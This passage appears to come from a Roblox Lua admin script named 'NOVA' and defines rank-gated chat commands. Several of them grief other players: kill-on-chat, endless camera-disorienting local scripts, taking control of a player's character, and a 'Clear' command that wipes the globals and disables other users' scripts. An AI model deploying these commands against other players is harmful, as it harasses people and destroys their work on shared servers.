  2416. RemoveTablets(Speaker)
  2417. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2418. end
  2419. )
  2420. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2421. function()
  2422. NOVA.PRIType = "Crash"
  2423. RemoveTablets(Speaker)
  2424. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2425. end
  2426. )
  2427. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2428. end
  2429. )
  2430. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2431. function()
  2432. NOVA.PRI = true
  2433. RemoveTablets(Speaker)
  2434. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2435. end
  2436. )
  2437.  
  2438. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2439. function()
  2440. NOVA.PRI = false
  2441. RemoveTablets(Speaker)
  2442. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2443. end
  2444. )
  2445.  
  2446. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2447. end
  2448. )
  2449.  
  2450. --[[ GET COMMANDS ]]--
  2451.  
  2452. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2453. function(Msg,Speaker)
  2454. if #Msg == 0 or Msg == nil then
  2455. RemoveTablets(Speaker)
  2456. for _,v in pairs(NOVA.Ranks) do
  2457. local RankNumber = v[1]
  2458. local RankName = v[2]
  2459. Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2460. function()
  2461. RemoveTablets(Speaker)
  2462. for _,v in pairs(GetPlayersRaw()) do
  2463. if GetRank(v) == RankNumber then
  2464. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2465. function()
  2466. PlayerInterface(v,Speaker)
  2467. end
  2468. )
  2469. end
  2470. end
  2471. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2472. function()
  2473. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2474. end
  2475. )
  2476. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2477. end
  2478. )
  2479. end
  2480. Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2481. function()
  2482. RemoveTablets(Speaker)
  2483.  
  2484. for _,v in pairs(GetPlayersRaw()) do
  2485. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2486. function()
  2487. PlayerInterface(v,Speaker)
  2488. end
  2489. )
  2490. end
  2491.  
  2492. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2493. function()
  2494. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2495. end
  2496. )
  2497. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2498. end
  2499. )
  2500. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2501. else
  2502. PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2503. end
  2504. end
  2505. )
  2506.  
  2507. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2508. function(Msg,Speaker)
  2509. Split = GetSplit(Msg)
  2510. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2511. GetRankedTable(v).Desc = Msg:sub(Split+1)
  2512. SyncRankOutSingular(v)
  2513. end
  2514. end
  2515. )
  2516.  
  2517. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2518. function(Msg,Speaker)
  2519. if Msg == "true" then
  2520. GetRankedTable(Speaker).CMD = true
  2521. elseif Msg == "false" then
  2522. GetRankedTable(Speaker).CMD = false
  2523. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2524. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2525. end
  2526. SyncRankOutSingular(Speaker)
  2527. end
  2528. )
  2529.  
  2530. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2531. function(Msg,Speaker)
  2532. pcall(function()
  2533. for i=1,4 do
  2534. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2535. end
  2536. end)
  2537. end
  2538. )
  2539.  
  2540. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2541. function(Msg,Speaker)
  2542. pcall(function()
  2543. Speaker:LoadCharacter()
  2544. end)
  2545. end
  2546. )
  2547.  
  2548. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2549. function(Msg,Speaker)
  2550. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2551. end
  2552. )
  2553.  
  2554. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2555. function(Msg,Speaker)
  2556. pcall(function()
  2557. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2558. for i=1,4 do
  2559. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2560. end
  2561. end
  2562. end)
  2563. end
  2564. )
  2565.  
  2566. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2567. function(Msg,Speaker)
  2568. local Split = GetSplit(Msg)
  2569. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2570. if GetRank(Speaker) > GetRank(v) then
  2571. if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2572. Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2573. else
  2574. GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2575. SyncRankOutSingular(v)
  2576. end
  2577. end
  2578. end
  2579. end
  2580. )
  2581.  
  2582. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2583. function(Msg,Speaker)
  2584.  
  2585. Split = GetSplit(Msg)
  2586. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2587. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2588. for _,a in pairs(send) do
  2589. for _,b in pairs(to) do
  2590. pcall(function()
  2591. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2592. end)
  2593. end
  2594. end
  2595.  
  2596. end
  2597. )
  2598.  
  2599. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2600. function(Msg,Speaker)
  2601.  
  2602. Split = GetSplit(Msg)
  2603. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2604. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2605. for i, player in pairs(send) do
  2606. pcall(function()
  2607. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2608. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2609. * CFrame.new(0, 0, 3 + (#send*2) )
  2610. end)
  2611. end
  2612. end
  2613. )
  2614.  
  2615. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2616. function(Msg,Speaker)
  2617. Split = GetSplit(Msg)
  2618. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2619. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2620. end
  2621. end
  2622. )
  2623.  
  2624. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2625. function(Msg,Speaker)
  2626. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2627. pcall(function()
  2628. v.Character:BreakJoints()
  2629. E = Instance.new("Explosion",NOVA.Services.Workspace)
  2630. E.Position = v.Character.Torso.Position
  2631. E.BlastPressure = 124000
  2632. end)
  2633. end
  2634. end
  2635. )
  2636.  
  2637. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2638. function(Msg,Speaker)
  2639. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2640. pcall(function()
  2641. v.Character.Humanoid.MaxHealth = math.huge
  2642. end)
  2643. end
  2644. end
  2645. )
  2646.  
  2647. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2648. function(Msg,Speaker)
  2649. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2650. pcall(function()
  2651. v.Character.Torso.Touched:connect(function(part)
  2652. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2653. part.CanCollide = true
  2654. part:BreakJoints()
  2655. for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2656. end
  2657. end)
  2658. end)
  2659. end
  2660. end
  2661. )
  2662.  
  2663. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2664. function(Msg,Speaker)
  2665. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2666. pcall(function()
  2667. v.Character.Parent = NOVA.Services.Lighting
  2668. end)
  2669. end
  2670. end
  2671. )
  2672.  
  2673. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2674. function(Msg,Speaker)
  2675. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2676. pcall(function()
  2677. v.Character.Parent = NOVA.Services.Workspace
  2678. v.Character:MakeJoints()
  2679. pcall(function() v.Character.Animate.Disabled = false end)
  2680. end)
  2681. end
  2682. end
  2683. )
  2684.  
  2685. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2686. function(Msg,Speaker)
  2687. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2688. pcall(function()
  2689. for _,part in pairs(v.Character:GetChildren()) do
  2690. pcall(function()
  2691. part.Anchored = true
  2692. end)
  2693. end
  2694. end)
  2695. end
  2696. end
  2697. )
  2698.  
  2699. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2700. function(Msg,Speaker)
  2701. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2702. pcall(function()
  2703. for _,part in pairs(v.Character:GetChildren()) do
  2704. pcall(function()
  2705. part.Anchored = false
  2706. end)
  2707. end
  2708. end)
  2709. end
  2710. end
  2711. )
  2712.  
  2713. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2714. function(Msg,Speaker)
  2715. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2716. pcall(function()
  2717. for _,part in pairs(v.Backpack:GetChildren()) do
  2718. part:Destroy()
  2719. end
  2720. end)
  2721. end
  2722. end
  2723. )
  2724.  
  2725. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2726. function(Msg,Speaker)
  2727. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2728. pcall(function()
  2729. v.Backpack:Destroy()
  2730. end)
  2731. end
  2732. end
  2733. )
  2734.  
  2735. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2736. function(Msg,Speaker)
  2737. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2738. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2739. pcall(function() v.Character.Humanoid.Sit = true end)
  2740. end
  2741. end
  2742. )
  2743.  
  2744. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2745. function(Msg,Speaker)
  2746. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2747. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2748. pcall(function() v.Character.Humanoid.Sit = false end)
  2749. end
  2750. end
  2751. )
  2752.  
  2753. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2754. function(Msg,Speaker)
  2755. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2756. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2757. pcall(function() v.Character.Humanoid.Jump = true end)
  2758. end
  2759. end
  2760. )
  2761.  
  2762. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2763. function(Msg,Speaker)
  2764. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2765. pcall(function()
  2766. Speaker.Character = v.Character
  2767. end)
  2768. end
  2769. end
  2770. )
  2771.  
  2772. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2773. function(Msg,Speaker)
  2774. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2775. pcall(function()
  2776. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2777. coroutine.resume(coroutine.create(function()
  2778. for i=1,10 do
  2779. wait()
  2780. v.Transparency = v.Transparency + 0.1
  2781. end
  2782. end))
  2783. end
  2784. end)
  2785. end
  2786. end
  2787. )
  2788.  
  2789. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2790. function(Msg,Speaker)
  2791. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2792. pcall(function()
  2793. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2794. coroutine.resume(coroutine.create(function()
  2795. for i=1,10 do
  2796. wait()
  2797. v.Transparency = v.Transparency - 0.1
  2798. end
  2799. end))
  2800. end
  2801. end)
  2802. end
  2803. end
  2804. )
  2805.  
  2806. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2807. function(Msg,Speaker)
  2808. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2809. pcall(function()
  2810. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2811. end)
  2812. end
  2813. end
  2814. )
  2815.  
  2816. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2817. function(Msg,Speaker)
  2818. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2819. pcall(function()
  2820. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2821. end)
  2822. end
  2823. end
  2824. )
  2825.  
  2826. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2827. function(Msg,Speaker)
  2828. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2829. pcall(function()
  2830. coroutine.resume(coroutine.create(function()
  2831. local MainCF = v.Character.Torso.CFrame
  2832. local Main = Instance.new("Model",workspace)
  2833. Main.Name = "Main"
  2834. table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2835. for Pitch = 1, 360, 360 do
  2836. for Yaw = 1, 360, 360/13 do
  2837. for Angle = 1,180, 8 do
  2838. local Part = Instance.new("Part",Main)
  2839. Part.Name = "Part"
  2840. Part.FormFactor = "Custom"
  2841. Part.TopSurface = "Smooth"
  2842. Part.BottomSurface = "Smooth"
  2843. Part.Reflectance = 0
  2844. Part.Transparency = 0
  2845. Part.Anchored = true
  2846. Part.Locked = true
  2847. Part.CanCollide = true
  2848. Part.BrickColor = BrickColor.new("Navy blue")
  2849. Part.Size = Vector3.new(2,1,4)
  2850. Part.CFrame = MainCF
  2851. * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2852. * CFrame.new(0,5,0)
  2853. local Mesh = Instance.new("BlockMesh",Part)
  2854. Mesh.Scale = Vector3.new(1,1,0.1)
  2855. if math.floor(Angle/5) == Angle/5 then
  2856. wait()
  2857. end
  2858. end
  2859. end
  2860. end
  2861.  
  2862. v.Character.Torso.CFrame = MainCF
  2863.  
  2864. while Main.Parent ~= nil do
  2865. wait()
  2866. pcall(function()
  2867. if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2868. v.Character.Torso.CFrame = MainCF
  2869. end
  2870. end)
  2871. end
  2872. end))
  2873. end)
  2874. end
  2875. end
  2876. )
  2877.  
  2878. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2879. function(Msg,Speaker)
  2880. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2881. for Num,Jail in pairs(NOVA.Jails) do
  2882. if Jail.Player ~= nil and Jail.Player == v then
  2883. pcall(function() Jail.Jail:Destroy() end)
  2884. table.remove(NOVA.Jails,Num)
  2885. end
  2886. end
  2887. end
  2888. end
  2889. )
  2890.  
  2891. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2892. function(Msg,Speaker)
  2893. for i,v in pairs(_G) do
  2894. if type(v) == "function" and getfenv(v).NOVA == nil then
  2895. for var,val in pairs(getfenv(v)) do
  2896. pcall(function() getfenv(v)[var] = nil end)
  2897. end
  2898. end
  2899. end
  2900. for i,v in pairs(_G) do
  2901. _G[i] = nil
  2902. end
  2903. SetGlobals()
  2904. for _,v in pairs(NOVA.Services) do
  2905. v.Name = "Unknown Exception"
  2906. end
  2907. for i,v in pairs(GetRecursiveChildren()) do
  2908. pcall(function()
  2909. if not v:IsA("Player") then
  2910. pcall(function()
  2911. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  2912. else
  2913. pcall(function()
  2914. v.Disabled = true
  2915. end)
  2916. pcall(function()
  2917. NOVA.Services.Debris:AddItem(v,0)
  2918. end)
  2919. end
  2920. end)
  2921. end
  2922. end)
  2923. end
  2924. for _,v in pairs(NOVA.Services) do
  2925. v.Name = v.className
  2926. end
  2927. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2928. Base.Name="Base"
  2929. Base.Size=Vector3.new(2048,1,2048)
  2930. Base.BrickColor=BrickColor.new("Bright green")
  2931. Base.Anchored=true
  2932. Base.Locked=true
  2933. Base.TopSurface="Smooth"
  2934. Base.Transparency = 1
  2935. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2936. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2937. Spawn.Size=Vector3.new(6,1,6)
  2938. Spawn.Transparency=1
  2939. Spawn.CanCollide=false
  2940. Spawn.Anchored=true
  2941. Spawn.Locked=true
  2942. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2943. for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  2944. end
  2945. )
  2946.  
  2947. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2948. function (Msg,Speaker)
  2949. Split = GetSplit(Msg)
  2950. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2951. pcall(function()
  2952. Team = nil
  2953. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2954. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2955. Team = find
  2956. end
  2957. end
  2958. v.TeamColor = Team.TeamColor
  2959. end)
  2960. end
  2961. end
  2962. )
  2963.  
  2964. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  2965. function(Msg,Speaker)
  2966. RemoveTablets(Speaker)
  2967. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  2968. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  2969. v:Remove()
  2970. end
  2971. end
  2972. end
  2973. )
  2974.  
  2975. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  2976. function(Msg,Speaker)
  2977. Split = GetSplit(Msg)
  2978. Team = Instance.new("Team",NOVA.Services.Teams)
  2979. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  2980. Team.Name = Msg:sub(1,Split-1)
  2981. Team.AutoAssignable = false
  2982. Team.Neutral = false
  2983. end
  2984. )
  2985.  
  2986. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  2987. function(Msg,Speaker)
  2988. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2989. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  2990. end
  2991. end
  2992. )
  2993.  
  2994. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  2995. function(Msg,Speaker)
  2996. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2997.  
  2998. local ride = Instance.new("VehicleSeat", Workspace)
  2999. ride.Position = v.Character.Torso.Position
  3000. ride.HeadsUpDisplay = false
  3001. ride.Size = Vector3.new(3,3,3)
  3002. local bg = Instance.new("BodyGyro", ride)
  3003. bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3004. local bp = Instance.new("BodyPosition", ride)
  3005. bp.position = v.Character.Torso.Position
  3006. bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3007. Mesh = Instance.new("SpecialMesh")
  3008. Mesh.Parent = ride
  3009. Mesh.MeshType = Enum.MeshType.Sphere
  3010. ride.Transparency = 0.40000000596046
  3011.  
  3012. while wait() do
  3013. bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3014. bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3015. end
  3016.  
  3017. end
  3018. end
  3019. )
  3020.  
  3021.  
  3022.  
  3023. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3024. function(Msg,Speaker)
  3025. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3026. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3027. end
  3028. end
  3029. )
  3030.  
  3031. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3032. function(Msg,Speaker)
  3033. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3034. if Prometheus ~= nil then
  3035. if v ~= Prometheus.script("lushmylife") then
  3036. pcall(function()
  3037. v:Destroy()
  3038. end)
  3039. end
  3040. else
  3041. pcall(function()
  3042. v:Destroy()
  3043. end)
  3044. end
  3045. end
  3046.  
  3047. local Base=Instance.new("Part",NOVA.Services.Workspace)
  3048. Base.Name="Base"
  3049. Base.Size=Vector3.new(2048,1,2048)
  3050. Base.BrickColor=BrickColor.new("Dark green")
  3051. Base.Anchored=true
  3052. Base.Locked=true
  3053. Base.TopSurface="Studs"
  3054. Base.Transparency = 0
  3055. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3056. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3057. Spawn.Size=Vector3.new(6,1,6)
  3058. Spawn.Transparency=1
  3059. Spawn.CanCollide=false
  3060. Spawn.Anchored=true
  3061. Spawn.Locked=true
  3062. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3063. for _,v in pairs(GetPlayersRaw()) do
  3064. v:LoadCharacter()
  3065. end
  3066.  
  3067. end
  3068. )
  3069.  
  3070. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3071. function(Msg,Speaker)
  3072. RemoveTablets(Speaker)
  3073. Explore(game,Speaker)
  3074. end
  3075. )
  3076.  
  3077. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3078. function(Msg,Speaker)
  3079. if NOVA.LockedScripts == true then
  3080. NOVA.LockedScripts = false
  3081. elseif NOVA.LockedScripts == false then
  3082. NOVA.LockedScripts = true
  3083. end
  3084.  
  3085. end
  3086. )
  3087.  
  3088. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3089. function(Msg,Speaker)
  3090. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3091. for i=1,25 do
  3092. coroutine.resume(coroutine.create(function()
  3093. wait()
  3094. local Part = Instance.new("Part",NOVA.Services.Workspace)
  3095. Part.FormFactor = "Custom"
  3096. Part.Transparency = 1
  3097. Part.CanCollide = false
  3098. Part.Anchored = false
  3099. Part.Locked = true
  3100. Part.Size = Vector3.new(1,1,1)
  3101. Part.CFrame = v.Character.Head.CFrame
  3102. Part:BreakJoints()
  3103.  
  3104. local BBG = Instance.new("BillboardGui",Part)
  3105. BBG.Adornee = Part
  3106. BBG.Size = UDim2.new(3,0,1,0)
  3107. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3108.  
  3109. local Img = Instance.new("ImageLabel",BBG)
  3110. Img.Size = UDim2.new(1,0,1,0)
  3111. Img.BackgroundTransparency = 1
  3112. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3113.  
  3114. local BP = Instance.new("BodyPosition",Part)
  3115. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3116. --BP.D = 2000
  3117. BP.P = 1000
  3118. BP.position = Part.Position + Vector3.new(
  3119. math.random(-7,7),
  3120. math.random(-7,7),
  3121. math.random(-7,7))
  3122.  
  3123. for v = 3,0,-0.1 do
  3124. wait(0.1)
  3125. BBG.Size = UDim2.new(v,0,v,0)
  3126. end
  3127. Part:Remove()
  3128. end))
  3129. end
  3130. end
  3131. end
  3132. )
  3133.  
  3134. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3135. function(Msg,Speaker)
  3136. NOVA.Canceled = true
  3137. end
  3138. )
  3139.  
  3140. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3141. function(Msg,Speaker)
  3142. Split = GetSplit(Msg)
  3143. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3144. pcall(function()
  3145. local OldHead = v.Character.Head
  3146. local Model = Instance.new("Model",v.Character.Head)
  3147. Model.Name = Msg:sub(Split+1)
  3148. local Head = OldHead:Clone()
  3149. Head.Parent = Model
  3150. Head.Transparency = 0
  3151. Head.Name = "Head"
  3152. Head.CanCollide = false
  3153. local Hum = Instance.new("Humanoid",Model)
  3154. Hum.MaxHealth = 0
  3155. local Weld = Instance.new("Weld",Head)
  3156. Weld.Part0 = Head
  3157. Weld.Part1 = OldHead
  3158. Weld.C0 = CFrame.new(0,0,0)
  3159. OldHead.Transparency = 1
  3160. end)
  3161. end
  3162. end
  3163. )
  3164.  
  3165. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3166. function(Msg,Speaker)
  3167. Split = GetSplit(Msg)
  3168. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3169. pcall(function()
  3170. local Char = v.Character
  3171. Char.Archivable = true
  3172. Char = Char:Clone()
  3173. Char.Name = Msg:sub(Split+1)
  3174. v.Character:Destroy()
  3175. Char.Parent = workspace
  3176. v.Character = Char
  3177. end)
  3178. end
  3179. end
  3180. )
  3181.  
  3182. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3183. function(Msg,Speaker)
  3184. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3185. CreateLocalScript([[
  3186. script.Parent = nil
  3187. LocalPlayer = game.Players.LocalPlayer
  3188. Camera = workspace.CurrentCamera
  3189. Camera.CameraType = "Scriptable"
  3190. for i=1,700 do
  3191. wait()
  3192. Camera = workspace.CurrentCamera
  3193. Camera.CameraType = "Scriptable"
  3194. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3195. Camera.CameraType = "Scriptable"
  3196. Camera:SetRoll(Camera:GetRoll()+0.01)
  3197. pcall(function()
  3198. LocalPlayer.Character.Head.Sound:Play()
  3199. end)
  3200. end
  3201. Camera:SetRoll(0)
  3202. Camera.CameraType = "Custom"
  3203. Camera.FieldOfView = 70
  3204. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3205. ]],v.Backpack)
  3206. end
  3207. end
  3208. )
  3209.  
  3210. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3211. function(Msg,Speaker)
  3212. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3213. CreateLocalScript([[
  3214. script.Parent = nil
  3215. LocalPlayer = game.Players.LocalPlayer
  3216. Camera = workspace.CurrentCamera
  3217. Camera.CameraType = "Scriptable"
  3218. for i=1,math.huge do
  3219. wait()
  3220. Camera = workspace.CurrentCamera
  3221. Camera.CameraType = "Scriptable"
  3222. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3223. Camera.CameraType = "Scriptable"
  3224. Camera:SetRoll(Camera:GetRoll()+0.01)
  3225. pcall(function()
  3226. LocalPlayer.Character.Head.Sound:Play()
  3227. end)
  3228. end
  3229. Camera:SetRoll(0)
  3230. Camera.CameraType = "Custom"
  3231. Camera.FieldOfView = 70
  3232. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3233. ]],v.Backpack)
  3234. end
  3235. end
  3236. )
  3237.  
  3238. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3239. function(Msg,Speaker)
  3240. for _,v in pairs(NOVA.Credit) do
  3241. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3242. end
  3243. end
  3244. )
  3245.  
  3246. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3247. function(Msg,Speaker)
  3248. pcall(function()
  3249. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3250. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3251. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3252. end)
  3253. end
  3254. )
  3255.  
  3256. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3257. function(Msg,Speaker)
  3258. NOVA.Services.Lighting.TimeOfDay = Msg
  3259. end
  3260. )
  3261.  
  3262. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3263. function(Msg,Speaker)
  3264. NOVA.Services.Lighting.FogEnd = Msg
  3265. end
  3266. )
  3267.  
  3268. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3269. function(Msg,Speaker)
  3270. NOVA.Services.Lighting.FogStart = Msg
  3271. end
  3272. )
  3273.  
